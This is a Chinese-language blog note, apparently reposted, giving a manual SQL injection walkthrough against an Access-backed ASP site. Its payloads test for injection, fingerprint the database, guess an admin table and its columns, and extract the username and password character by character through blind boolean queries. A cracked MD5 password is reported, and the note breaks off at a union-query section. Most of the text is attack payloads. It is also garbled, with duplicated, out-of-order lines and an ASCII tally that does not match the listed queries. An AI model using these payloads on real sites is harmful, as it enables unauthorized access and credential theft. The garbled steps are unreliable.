access手工流入笔记
日期：2014-05-16 浏览次数：21093 次
access手工注入笔记
猜解表名（正常则存在admin,不正常则不存在）
现在我们来猜解字段
and exists (select username from admin)
猜解用户名和密码长度
http://www.xxx.com/news.asp?id=6
注入点
注入点
判断是否存在注入 两次返回不一样 存在注入
http://www.xxx.com/news.asp?id=6 and 1=1
http://www.xxx.com/news.asp?id=6 and 1=1
http://www.xxx.com/news.asp?id=6
and 1=2
判断数据库 这里可能是本地问题 没有测试出来
and (select count(*) from msysobjects)>0 （返回权限不足access数据库）
and (select count(*) from sysobjects)>0 （返回正常则为MSSQL数据库）
and (select count(*) from msysobjects)>0 （返回权限不足access数据库）
and (select count(*) from sysobjects)>0 （返回正常则为MSSQL数据库）
猜解表名（正常则存在admin,不正常则不存在）
and exists (select * from admin)
返回正确 存在admin 我们随便填写一个进去那么 返回错误 不存在这个表
现在我们来猜解字段
and exists (select username from admin)
and exists (select password from admin)
没有出错证明这两个字段都是存在 不存在的话同上 不存在字段
猜解用户名和密码长度
and (select top 1 len(username) from admin)>0
and (select top 1 len(password) from admin)>0
and (select top 1 len(password) from admin)>0
猜解用户名和密码内容：
and(select top 1 asc(mid(username,1,1))from admin)>97
and(select top 1 asc(mid(username,1,1))from admin)=97
and(select top 1 asc(mid(username,2,1))from admin)=100
and(select top 1 asc(mid(username,3,1))from admin)=109
and(select top 1 asc(mid(username,4,1))from admin)=105
and(select top 1 asc(mid(username,5,1))from admin)=110
and(select top 1 asc(mid(username,1,1))from admin)>97
and(select top 1 asc(mid(username,1,1))from admin)=97
and(select top 1 asc(mid(username,2,1))from admin)=100
and(select top 1 asc(mid(username,3,1))from admin)=109
and(select top 1 asc(mid(username,4,1))from admin)=105
and(select top 1 asc(mid(username,5,1))from admin)=110
97 100 109 105 110 admin
------------------------------------------------------
and(select top 1 asc(mid(password,1,1))from admin)=52
and(select top 1 asc(mid(password,2,1))from admin)=54
and(select top 1 asc(mid(password,3,1))from admin)=57
and(select top 1 asc(mid(password,4,1))from admin)=56
and(select top 1 asc(mid(password,5,1))from admin)=48
and(select top 1 asc(mid(password,6,1))from admin)=100
and(select top 1 asc(mid(password,7,1))from admin)=51
and(select top 1 asc(mid(password,8,1))from admin)=50
and(select top 1 asc(mid(password,9,1))from admin)=99
and(select top 1 asc(mid(password,10,1))from admin)=48
and(select top 1 asc(mid(password,11,1))from admin)=53
and(select top 1 asc(mid(password,12,1))from admin)=53
and(select top 1 asc(mid(password,13,1))from admin)=57
and(select top 1 asc(mid(password,14,1))from admin)=102
and(select top 1 asc(mid(password,15,1))from admin)=56
and(select top 1 asc(mid(password,16,1))from admin)=32
and(select top 1 asc(mid(password,1,1))from admin)=52
and(select top 1 asc(mid(password,2,1))from admin)=54
and(select top 1 asc(mid(password,3,1))from admin)=57
and(select top 1 asc(mid(password,4,1))from admin)=56
and(select top 1 asc(mid(password,5,1))from admin)=48
and(select top 1 asc(mid(password,6,1))from admin)=100
and(select top 1 asc(mid(password,7,1))from admin)=51
and(select top 1 asc(mid(password,8,1))from admin)=50
and(select top 1 asc(mid(password,9,1))from admin)=99
and(select top 1 asc(mid(password,10,1))from admin)=48
and(select top 1 asc(mid(password,11,1))from admin)=53
and(select top 1 asc(mid(password,12,1))from admin)=53
and(select top 1 asc(mid(password,13,1))from admin)=57
and(select top 1 asc(mid(password,14,1))from admin)=102
and(select top 1 asc(mid(password,15,1))from admin)=56
and(select top 1 asc(mid(password,16,1))from admin)=32
52 54 57 101 56 48 100 51 50 99 48 53 53 57 102 56 32
469e80d32c0559f8 md5 解出来的密码是admin888
=====================================================
（二）联合查询暴出管理帐号及密码
469e80d32c0559f8 md5 解出来的密码是admin888
=====================================================
（二）联合查询暴出管理帐号及密码
先用order by 爆出字段数，然后：
http://www.xxx.com/ne
免责声明： 本文仅代表作者个人观点，与爱易网无关。其原创性以及文中陈述文字和内容未经本站证实，对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺，请读者仅作参考，并请自行核实相关内容。
